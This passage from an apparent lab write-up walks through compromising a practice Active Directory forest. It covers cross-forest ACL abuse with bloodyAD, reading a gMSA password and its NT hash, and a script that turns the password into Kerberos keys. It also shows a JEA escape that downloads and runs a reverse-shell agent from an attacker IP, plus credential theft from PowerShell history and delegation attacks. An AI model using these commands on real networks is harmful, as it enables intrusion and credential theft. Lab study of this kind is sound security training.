LDAP dc2.pong.htb 389 DC2 Distributed COM Users 0 Members are allowed to launch, activate and use Distributed COM objects on this machine.
LDAP dc2.pong.htb 389 DC2 IIS_IUSRS 1 Built-in group used by Internet Information Services.
LDAP dc2.pong.htb 389 DC2 Cryptographic Operators 0 Members are authorized to perform cryptographic operations.
LDAP dc2.pong.htb 389 DC2 Event Log Readers 0 Members of this group can read event logs from local machine
LDAP dc2.pong.htb 389 DC2 Certificate Service DCOM Access 0 Members of this group are allowed to connect to Certification Authorities in the enterprise
LDAP dc2.pong.htb 389 DC2 RDS Remote Access Servers 0 Servers in this group enable users of RemoteApp programs and personal virtual desktops access to these resources. In Internet-facing deployments, these servers are typically deployed in an edge network. This group needs to be populated on servers running RD Connection Broker. RD Gateway servers and RD Web Access servers used in the deployment need to be in this group.
LDAP dc2.pong.htb 389 DC2 RDS Endpoint Servers 0 Servers in this group run virtual machines and host sessions where users RemoteApp programs and personal virtual desktops run. This group needs to be populated on servers running RD Connection Broker. RD Session Host servers and RD Virtualization Host servers used in the deployment need to be in this group.
LDAP dc2.pong.htb 389 DC2 RDS Management Servers 0 Servers in this group can perform routine administrative actions on servers running Remote Desktop Services. This group needs to be populated on all servers in a Remote Desktop Services deployment. The servers running the RDS Central Management service must be included in this group.
LDAP dc2.pong.htb 389 DC2 Hyper-V Administrators 0 Members of this group have complete and unrestricted access to all features of Hyper-V.
LDAP dc2.pong.htb 389 DC2 Access Control Assistance Operators 0 Members of this group can remotely query authorization attributes and permissions for resources on this computer.
LDAP dc2.pong.htb 389 DC2 Remote Management Users 1 Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.
LDAP dc2.pong.htb 389 DC2 Storage Replica Administrators 0 Members of this group have complete and unrestricted access to all features of Storage Replica.
LDAP dc2.pong.htb 389 DC2 Domain Computers 0 All workstations and servers joined to the domain
LDAP dc2.pong.htb 389 DC2 Domain Controllers 0 All domain controllers in the domain
LDAP dc2.pong.htb 389 DC2 Schema Admins 1 Designated administrators of the schema
LDAP dc2.pong.htb 389 DC2 Enterprise Admins 1 Designated administrators of the enterprise
LDAP dc2.pong.htb 389 DC2 Cert Publishers 0 Members of this group are permitted to publish certificates to the directory
LDAP dc2.pong.htb 389 DC2 Domain Admins 1 Designated administrators of the domain
LDAP dc2.pong.htb 389 DC2 Domain Users 0 All domain users
LDAP dc2.pong.htb 389 DC2 Domain Guests 0 All domain guests
LDAP dc2.pong.htb 389 DC2 Group Policy Creator Owners 1 Members in this group can modify group policy for the domain
LDAP dc2.pong.htb 389 DC2 RAS and IAS Servers 0 Servers in this group can access remote access properties of users
LDAP dc2.pong.htb 389 DC2 Server Operators 0 Members can administer domain servers
LDAP dc2.pong.htb 389 DC2 Account Operators 0 Members can administer domain user and group accounts
LDAP dc2.pong.htb 389 DC2 Pre-Windows 2000 Compatible Access 1 A backward compatibility group which allows read access on all users and groups in the domain
LDAP dc2.pong.htb 389 DC2 Incoming Forest Trust Builders 0 Members of this group can create incoming, one-way trusts to this forest
LDAP dc2.pong.htb 389 DC2 Windows Authorization Access Group 1 Members of this group have access to the computed tokenGroupsGlobalAndUniversal attribute on User objects
LDAP dc2.pong.htb 389 DC2 Terminal Server License Servers 0 Members of this group can update user accounts in Active Directory with information about license issuance, for the purpose of tracking and reporting TS Per User CAL usage
LDAP dc2.pong.htb 389 DC2 Allowed RODC Password Replication Group 0 Members in this group can have their passwords replicated to all read-only domain controllers in the domain
LDAP dc2.pong.htb 389 DC2 Denied RODC Password Replication Group 8 Members in this group cannot have their passwords replicated to any read-only domain controllers in the domain
LDAP dc2.pong.htb 389 DC2 Read-only Domain Controllers 0 Members of this group are Read-Only Domain Controllers in the domain
LDAP dc2.pong.htb 389 DC2 Enterprise Read-only Domain Controllers 0 Members of this group are Read-Only Domain Controllers in the enterprise
LDAP dc2.pong.htb 389 DC2 Cloneable Domain Controllers 0 Members of this group that are domain controllers may be cloned.
LDAP dc2.pong.htb 389 DC2 Protected Users 0 Members of this group are afforded additional protections against authentication security threats. See http://go.microsoft.com/fwlink/?LinkId=298939 for more information.
LDAP dc2.pong.htb 389 DC2 Key Admins 0 Members of this group can perform administrative actions on key objects within the domain.
LDAP dc2.pong.htb 389 DC2 Enterprise Key Admins 0 Members of this group can perform administrative actions on key objects within the forest.
LDAP dc2.pong.htb 389 DC2 DnsAdmins 0 DNS Administrators Group
LDAP dc2.pong.htb 389 DC2 DnsUpdateProxy 0 DNS clients who are permitted to perform dynamic updates on behalf of some other clients (such as DHCP servers).
LDAP dc2.pong.htb 389 DC2 gMSA Managers 1
LDAP dc2.pong.htb 389 DC2 IT Service Admins 3
LDAP dc2.pong.htb 389 DC2 Database Admins 2
LDAP dc2.pong.htb 389 DC2 SQLServer2005SQLBrowserUser$DC2 0 Members in the group have the required access and privileges to be assigned as the log on account for the associated instance of SQL Server Browser.
LDAP dc2.pong.htb 389 DC2 [*] Total records returned: 2
LDAP dc2.pong.htb 389 DC2 DC2$
LDAP dc2.pong.htb 389 DC2 Pong_gMSA$
Here we can find another gMSA$ account: Pong_gMSA$.
Exploiting Cross-Forest ACLs
Since we’re members of IT, we should be able to give ourselves genericAll to the gMSA Managers group
1
2
3
c.roberts@ping.htb> $ bloodyAD --host dc2.pong.htb -k -d ping.htb add genericAll "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" "S-1-5-21-750635624-2058721901-1932338391-2617"
[+] S-1-5-21-750635624-2058721901-1932338391-2617 has now GenericAll on CN=gMSA Managers,CN=Users,DC=pong,DC=htb
Note that the target
DChere is theDCwhere theObject(gMSA Managers), whoseACLwe’re modifying, exists.
Let’s now attempt to add ourselves to the group.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
c.roberts@ping.htb> $ bloodyAD --host dc2.pong.htb -k -d ping.htb add groupMember "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" "S-1-5-21-750635624-2058721901-1932338391-2617"
Traceback (most recent call last):
File "/home/kali/.local/bin/bloodyAD", line 10, in <module>
sys.exit(main())
~~~~^^
File "/home/kali/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/main.py", line 342, in main
asyncio.run(amain())
~~~~~~~~~~~^^^^^^^^^
File "/usr/lib/python3.13/asyncio/runners.py", line 195, in run
return runner.run(main)
~~~~~~~~~~^^^^^^
File "/usr/lib/python3.13/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
File "/usr/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
return future.result()
~~~~~~~~~~~~~^^
File "/home/kali/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/main.py", line 272, in amain
output = await result
^^^^^^^^^^^^
File "/home/kali/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/cli_modules/add.py", line 454, in groupMember
await ldap.bloodymodify(group, {"member": [(Change.ADD.value, member_transformed)]})
File "/home/kali/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/network/ldap.py", line 336, in bloodymodify
raise err
badldap.commons.exceptions.LDAPModifyException: unwillingToPerform for CN=gMSA Managers,CN=Users,DC=pong,DC=htb (Attr) — Reason:(ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER) A global group cannot have a cross-domain member.
This fails as the group type is a global group, let’s change it to a domainlocal group, but it first must be a universal group so that the groups are pushed to Global Catalog through the Universal Group before being converted to Domain Local
1
2
3
4
5
6
c.roberts@ping.htb> $ bloodyAD --host dc2.pong.htb -k -d ping.htb set object 'gMSA Managers' groupType -v '-2147483640'
[+] gMSA Managerss groupType has been updated
$ bloodyAD --host dc2.pong.htb -k -d ping.htb set object 'gMSA Managers' groupType -v '-2147483644'
[+] gMSA Managerss groupType has been updated
Now let’s retry to add ourselves as a groupMember.
1
2
3
c.roberts@ping.htb> $ bloodyAD --host dc2.pong.htb -k -d ping.htb add groupMember "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" "S-1-5-21-750635624-2058721901-1932338391-2617"
[+] S-1-5-21-750635624-2058721901-1932338391-2617 added to CN=gMSA Managers,CN=Users,DC=pong,DC=htb
Finally let’s attempt to read the msDS-ManagedPassword of gMSA$
1
2
3
4
c.roberts@ping.htb> $ bloodyAD --host dc1.ping.htb -k -d ping.htb get object 'gMSA$' --attr 'msDs-ManagedPassword'
distinguishedName: CN=gMSA,CN=Managed Service Accounts,DC=ping,DC=htb
Since that one didn’t work, let’s try it against the Pong_gMSA$ account.
1
2
3
4
5
6
c.roberts@ping.htb> $ bloodyAD --host dc2.pong.htb -k -d ping.htb get object 'Pong_gMSA$' --attr 'msDs-ManagedPassword'
distinguishedName: CN=Pong_gMSA,CN=Managed Service Accounts,DC=pong,DC=htb
msDS-ManagedPassword.NT: 4b85a2a049588810c1267e4018b07a07
msDS-ManagedPassword.B64ENCODED: eFkbWLHQ9ZrAkNUPkIoy[REDACTED]
B64 to AES-Key Conversion
I’ve tried to use gMSADumper instead to automatically convert the B64ENCODED password to aes however it doesn’t seem to want to work due to authentication or gssapi issues. So instead we’ll extract it by creating a Frankenstein out of gMSADumper.py.
1
2
3
4
5
6
7
8
9
10
11
12
import base64
from impacket.krb5.crypto import string_to_key, Enctype
from Cryptodome.Hash import MD4
data = base64.b64decode('eFkbWLHQ9ZrAkNUPkIoy[REDACTED]')
password = data.decode('utf-16-le', 'replace').encode('utf-8')
sam = 'pong_gMSA$'
domain = 'pong.htb'
salt = '%shost%s.%s' % (domain.upper(), sam[:-1].lower(), domain.lower())
print('AES256:', string_to_key(Enctype.AES256, password, salt).contents.hex())
print('AES128:', string_to_key(Enctype.AES128, password, salt).contents.hex())
Running this we should get the kerberos aes keys.
1
2
3
4
$ python3 converter.py
AES256: [REDACTED]
AES128: [REDACTED]
Using the aesKey we should be able to grab a TGT.
1
2
3
4
5
$ getTGT.py 'pong.htb/pong_gMSA$' -aesKey [REDACTED] -dc-ip 192.168.2.2
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in pong_gMSA$.ccache
Let’s confirm our authentication.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Pong_gmsa\$@pong.htb> $ nxc ldap dc2.pong.htb -k --use-kcache -M whoami
LDAP dc2.pong.htb 389 DC2 [*] None (name:DC2) (domain:PONG.HTB) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP dc2.pong.htb 389 DC2 [+] PONG.HTB\pong_gMSA$ from ccache
WHOAMI dc2.pong.htb 389 DC2 Name: Pong_gMSA
WHOAMI dc2.pong.htb 389 DC2 Description: JEA Enabled gMSA on DC1
WHOAMI dc2.pong.htb 389 DC2 sAMAccountName: Pong_gMSA$
WHOAMI dc2.pong.htb 389 DC2 Enabled: Yes
WHOAMI dc2.pong.htb 389 DC2 Password Never Expires: No
WHOAMI dc2.pong.htb 389 DC2 Last logon: 2026-05-14 20:36:31 UTC
WHOAMI dc2.pong.htb 389 DC2 Password Last Set: 2026-05-14 19:49:59 UTC
WHOAMI dc2.pong.htb 389 DC2 Bad Password Count: 0
WHOAMI dc2.pong.htb 389 DC2 Distinguished Name: CN=Pong_gMSA,CN=Managed Service Accounts,DC=pong,DC=htb
WHOAMI dc2.pong.htb 389 DC2 User SID: S-1-5-21-2410575906-3092493790-2123333151-1123
JEA Access
Looking at the Description we can see that we’re a JEA(Just Enough Administration) enabled against DC1 meaning we should be able to remote into the machine.
Before we use minrm we need to know the JEA configuration name, so let’s have a look for pssc files.
1
2
3
4
5
6
7
8
9
10
11
PS c.roberts@TempWinRM@ping.htb C:\w1ld> Get-ChildItem C:\ -Recurse -Filter '*.pssc' -ErrorAction SilentlyContinue
Directory: C:\Windows\System32\WindowsPowerShell\v1.0\SessionConfig
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/17/2026 3:44 AM 441 restricted_e26939b6-819a-496e-be9a-dfb45427c765.pssc
In which we find the ConfigurationName of restricted
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS c.roberts@TempWinRM@ping.htb C:\w1ld> cat C:\Windows\System32\WindowsPowerShell\v1.0\SessionConfig\restricted_e26939b6-819a-496e-be9a-dfb45427c765.pssc
@{
# Version number of the schema used for this document
SchemaVersion = '2.0.0.0'
# ID used to uniquely identify this document
GUID = 'e26939b6-819a-496e-be9a-dfb45427c765'
# Author of this document
Author = 'Administrator'
# Session type defaults to apply for this session configuration. Can be 'RestrictedRemoteServer' (recommended), 'Empty', or 'Default'
SessionType = 'RestrictedRemoteServer'
LanguageMode = 'ConstrainedLanguage'
}
With this we’re able to minrm onto the machine, keeping in mind that minrm requires your TGT to be in the /tmp directory in the following format: /tmp/krb5cc_<UID>.
1
2
3
Pong_gmsa\$@pong.htb> $ minrm -i dc1.ping.htb -u 'Pong_gMSA$@PONG.HTB' -k -c restricted
[36m[pong_gmsa$@pong.htb@dc1.ping.htb][0m [34mPS>[0m
Please ignore that I don’t have NerdFonts or PowerLine installed
ConstrainedLanguage Bypass
With JEA we’re restricted to a constrained set of commands for the language.
1
2
3
4
Pong_gmsa\$@pong.htb> $ExecutionContext.SessionState.LanguageMode
Output:
ConstrainedLanguage
However based on this trick from reel2 we’re able to escape JEA with custom functions.
1
2
3
4
Pong_gmsa\$@pong.htb> function w1ld {get-location};w1ld
Output:
C:\Users\Pong_gMSA$\Documents
I’ll start by grabbing my windows reverse-shell agent
1
2
3
4
5
6
7
8
9
10
11
12
Pong_gmsa\$@pong.htb> function w1ld {curl.exe -o w1ld.exe http://10.10.14.13:3232/ra.exe};w1ld
Error:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
System.Management.Automation.RemoteException
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 8002 0 8002 0 0 110k 0 --:--:-- --:--:-- --:--:-- 110k
100 3669k 0 3669k 0 0 3381k 0 --:--:-- 0:00:01 --:--:-- 3379k
100 3877k 0 3877k 0 0 3441k 0 --:--:-- 0:00:01 --:--:-- 3440k
Output:
Now we can execute it.
1
2
Pong_gmsa\$@pong.htb> function w1ld {./w1ld.exe};w1ld
This hangs but I get a callback on my listener with FullLanguage permissions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
PS C:\Users\Pong_gMSA$\Documents> whoami
pong\pong_gmsa$
PS C:\Users\Pong_gMSA$\Documents> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:\Users\Pong_gMSA$\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
=============== ==============================================
pong\pong_gmsa$ S-1-5-21-2410575906-3092493790-2123333151-1123
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================= ==================================================
pong\Domain Computers Group S-1-5-21-2410575906-3092493790-2123333151-515 Mandatory group, Enabled by default, Enabled group
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
Cleartext Password in History
Taking a look around at the system we can find ClearText credentials in the PSHistory
1
2
3
4
5
6
PS C:\Users\Pong_gMSA$\Documents> cat (Get-PSReadlineOption).HistorySavePath | sls cred
$c = New-object System.management.automation.pscredential("pong\c.carlssen,$(convertto-securestring -asplaintext -force "[REDACTED]"))
Enter-pssession -computername dc2.pong.htb -credential $c
cat (Get-PSReadlineOption).HistorySavePath | sls cred
Using this we can grab a TGT for c.carlssen in the Pong domain.
1
2
3
4
5
6
$ getTGT.py pong.htb/c.carlssen -dc-ip 192.168.2.2
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Saving ticket in c.carlssen.ccache
Let’s check authentication.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c.carlssen@pong.htb> $ nxc ldap dc2.pong.htb -k --use-kcache -M whoami
LDAP dc2.pong.htb 389 DC2 [*] None (name:DC2) (domain:PONG.HTB) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP dc2.pong.htb 389 DC2 [+] PONG.HTB\c.carlssen from ccache
WHOAMI dc2.pong.htb 389 DC2 Name: C.Carlssen
WHOAMI dc2.pong.htb 389 DC2 sAMAccountName: C.Carlssen
WHOAMI dc2.pong.htb 389 DC2 Enabled: Yes
WHOAMI dc2.pong.htb 389 DC2 Password Never Expires: Yes
WHOAMI dc2.pong.htb 389 DC2 Last logon: 2026-05-15 10:18:09 UTC
WHOAMI dc2.pong.htb 389 DC2 Password Last Set: 2026-01-20 16:32:49 UTC
WHOAMI dc2.pong.htb 389 DC2 Bad Password Count: 0
WHOAMI dc2.pong.htb 389 DC2 Distinguished Name: CN=C.Carlssen,CN=Users,DC=pong,DC=htb
WHOAMI dc2.pong.htb 389 DC2 Member of: CN=IT Service Admins,CN=Users,DC=pong,DC=htb
WHOAMI dc2.pong.htb 389 DC2 Member of: CN=Remote Management Users,CN=Builtin,DC=pong,DC=htb
WHOAMI dc2.pong.htb 389 DC2 User SID: S-1-5-21-2410575906-3092493790-2123333151-1110
We’re able to WinRM as C.carlssen against DC2.
1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\C.Carlssen\Documents> ls ../Desktop
Directory: C:\Users\C.Carlssen\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/15/2026 2:06 PM 34 user.txt
There we can find our user flag.
Root
GenericWrite on all svcs
Taking a look at our writables we can find a genericWrite on multiple svc_* accounts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
c.carlssen@pong.htb> $ bloodyAD --host dc2.pong.htb -k -d pong.htb get writable --transitive
[+] Forest trusts fetched, performing transitive trust search
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pong,DC=htb
permission: WRITE
distinguishedName: CN=C.Carlssen,CN=Users,DC=pong,DC=htb
permission: WRITE
distinguishedName: CN=svc_sql,OU=Service Accounts,DC=pong,DC=htb
permission: WRITE
distinguishedName: CN=svc_print,OU=Service Accounts,DC=pong,DC=htb
permission: WRITE
distinguishedName: CN=svc_ldap,OU=Service Accounts,DC=pong,DC=htb
permission: WRITE
distinguishedName: DC=pong.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=pong,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.pong.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=pong,DC=htb
permission: CREATE_CHILD
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=ping,DC=htb
permission: WRITE
distinguishedName: DC=ping.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=ping,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.ping.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=ping,DC=htb
permission: CREATE_CHILD
There seems to be several methods to proceed here, mainly the write against msDs-AllowedToActOnBehalfOfOtherIdentity for service accounts potentially allowing for RBCD.
SVC_LDAP RBCD Attempt
We can attempt RBCD against svc_ldap due to having the Pong_gMSA$ service account owned. Let’s first add ourselves to the msDs-AllowedToActOnBehalfOfOtherIdentity attribute.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c.carlssen@pong.htb> $ bloodyAD --host dc2.pong.htb -k -d pong.htb add RBCD 'svc_ldap' 'Pong_gMSA$'
[+] Pong_gMSA$ can now impersonate users on svc_ldap via S4U2Proxy
[+] e.g. badS4U2proxy 'kerberos+ccache://pong.htb\None:%2Fhome%2Fkali%2Fhtb%2Flabs%2Fpingpong%2Fc.carlssen.ccache@dc2.pong.htb/?serverip=192.168.2.2&dc=192.168.2.2' 'HOST/svc_ldap@pong.htb' 'Administrator@pong.htb'
c.carlssen@pong.htb> $ bloodyAD --host dc2.pong.htb -k -d pong.htb get object 'svc_ldap' --attr 'msDs-AllowedToActOnBehalfOfOtherIdentity' --resolve-sd
distinguishedName: CN=svc_ldap,OU=Service Accounts,DC=pong,DC=htb
msDS-AllowedToActOnBehalfOfOtherIdentity.Owner: BUILTIN_ADMINISTRATORS
msDS-AllowedToActOnBehalfOfOtherIdentity.Control: DACL_PRESENT|SELF_RELATIVE
msDS-AllowedToActOnBehalfOfOtherIdentity.ACL.Type: == ALLOWED ==
msDS-AllowedToActOnBehalfOfOtherIdentity.ACL.Trustee: Pong_gMSA$
msDS-AllowedToActOnBehalfOfOtherIdentity.ACL.Right: CONTROL_ACCESS
msDS-AllowedToActOnBehalfOfOtherIdentity.ACL.ObjectType: Self
msDS-AllowedToActOnBehalfOfOtherIdentity.ACL.Flags: CONTAINER_INHERIT; OBJECT_INHERIT
Next let’s attempt to grab a service ticket as first ourselves, then impersonating another user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Pong_gMSA\$@pong.htb> $ getST.py -k -ts -debug -no-pass -spn svc_ldap 'pong.htb/Pong_gMSA$' -dc-ip 192.168.2.2
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
[2026-05-15 07:07:16] [+] Impacket Library Installation Path: /home/kali/.local/share/uv/tools/impacket/lib/python3.14/site-packages/impacket
[2026-05-15 07:07:16] [+] Using Kerberos Cache: /home/kali/htb/labs/pingpong/Pong_gMSA$.ccache
[2026-05-15 07:07:16] [+] Returning cached credential for KRBTGT/PONG.HTB@PONG.HTB
[2026-05-15 07:07:16] [+] Using TGT from cache
[2026-05-15 07:07:16] [+] Username retrieved from CCache: Pong_gMSA$
[2026-05-15 07:07:16] [*] Getting ST for user
[2026-05-15 07:07:16] [+] Trying to connect to KDC at 192.168.2.2:88
[2026-05-15 07:07:16] [+] Server time (UTC): 2026-05-15 11:07:16
Traceback (most recent call last):
File "/home/kali/.local/bin/getST.py", line 915, in <module>
executer.run()
~~~~~~~~~~~~^^
File "/home/kali/.local/bin/getST.py", line 813, in run
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, self.__options.renew)
~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/kali/.local/share/uv/tools/impacket/lib/python3.14/site-packages/impacket/krb5/kerberosv5.py", line 456, in getKerberosTGS
r = sendReceive(message, domain, kdcHost)
File "/home/kali/.local/share/uv/tools/impacket/lib/python3.14/site-packages/impacket/krb5/kerberosv5.py", line 93, in sendReceive
raise krbError
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
This error is a bit vague but from what I can tell it’s complaining that it can’t find svc_ldap’s spns
SVC_SQL RBCD
However, if I attempt the same steps on the SVC_SQL account I’m able to grab a TGS, we’ll use the real spn this time.
1
2
3
4
5
6
7
8
9
10
c.carlssen@pong.htb> $ bloodyAD --host dc2.pong.htb -k -d pong.htb add RBCD 'svc_sql' 'Pong_gMSA$'
[+] Pong_gMSA$ can now impersonate users on svc_sql via S4U2Proxy
[+] e.g. badS4U2proxy 'kerberos+ccache://pong.htb\None:%2Fhome%2Fkali%2Fhtb%2Flabs%2Fpingpong%2Fc.carlssen.ccache@dc2.pong.htb/?serverip=192.168.2.2&dc=192.168.2.2' 'HOST/svc_sql@pong.htb' 'Administrator@pong.htb'
Pong_gMSA\$@pong.htb> $ getST.py -k -ts -no-pass -spn 'mssqlsvc/dc2.pong.htb' 'pong.htb/Pong_gMSA$' -dc-ip 192.168.2.2
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
[2026-05-15 07:17:17] [*] Getting ST for user
[2026-05-15 07:17:17] [*] Saving ticket in Pong_gMSA$@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache
Further investigation shows that this is due to svc_ldap not having a servicePrincipalName while svc_sql has the following servicePrincipalName: mssqlsvc/dc2.pong.htb. We can set an SPN for svc_ldap and grab a TGS but this would be useless as we can’t even delegate as Administrator since it contains the NOT_DELEGATED UAC flag.
The same NOT_DELEGATED constraint applies against the MSSQLSVC/dc2.pong.htb service.
1
2
3
4
5
6
7
8
9
Pong_gMSA\$@pong.htb> $ getST.py -k -ts -no-pass -spn svc_sql -impersonate Administrator 'pong.htb/Pong_gMSA$' -dc-ip 192.168.2.2
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
[2026-05-15 07:12:09] [*] Impersonating Administrator
[2026-05-15 07:12:09] [*] Requesting S4U2self
[2026-05-15 07:12:10] [*] Requesting S4U2Proxy
[2026-05-15 07:12:10] [-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[2026-05-15 07:12:10] [-] Probably SPN is not allowed to delegate by user Pong_gMSA$ or initial TGT not forwardable
However, we’re able to impersonate the service itself: svc_sql
1
2
3
4
5
6
7
8
Pong_gMSA\$@pong.htb> $ getST.py -k -ts -no-pass -spn 'mssqlsvc/dc2.pong.htb' -impersonate 'svc_sql' 'pong.htb/Pong_gMSA$' -dc-ip 192.168.2.2
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
[2026-05-15 07:19:04] [*] Impersonating svc_sql
[2026-05-15 07:19:04] [*] Requesting S4U2self
[2026-05-15 07:19:04] [*] Requesting S4U2Proxy
[2026-05-15 07:19:04] [*] Saving ticket in svc_sql@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache
Attempting to use this ticket to authenticate to mssql it seems however we aren’t exactly an admin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
svc_sql@mssqlsvc_dc2.pong.htb@pong.htb> $ mssqlclient.py -k -no-pass pong.htb/svc_sql@dc2.pong.htb
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC2): Line 1: Changed database context to 'master'.
[*] INFO(DC2): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (pong\svc_sql guest@master)> select user_name();
-----
guest
SQL (pong\svc_sql guest@master)>
We can recall one of the groups in the pong.htb domain is named Database Admins and has a memberCount of 2.
1
2
3
4
5
c.carlssen@pong.htb> $ bloodyAD --host dc2.pong.htb -k -d pong.htb get object "Database Admins" --attr member
distinguishedName: CN=Database Admins,CN=Users,DC=pong,DC=htb
member: CN=C.Adam,CN=Users,DC=pong,DC=htb; CN=P.Reiner,CN=Users,DC=pong,DC=htb
Let’s enumerate both users first to check and see if either one is active.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
c.carlssen@pong.htb> $ bloodyAD --host dc2.pong.htb -k -d pong.htb get object "C.Adam"
distinguishedName: CN=C.Adam,CN=Users,DC=pong,DC=htb
accountExpires: 9999-12-31 23:59:59.999999+00:00
badPasswordTime: 2026-02-05 13:46:48.697574+00:00
badPwdCount: 4
cn: C.Adam
codePage: 0
countryCode: 0
dSCorePropagationData: 1601-01-01 00:00:00+00:00
instanceType: 4
lastLogoff: 1601-01-01 00:00:00+00:00
lastLogon: 1601-01-01 00:00:00+00:00
logonCount: 0
memberOf: CN=Database Admins,CN=Users,DC=pong,DC=htb
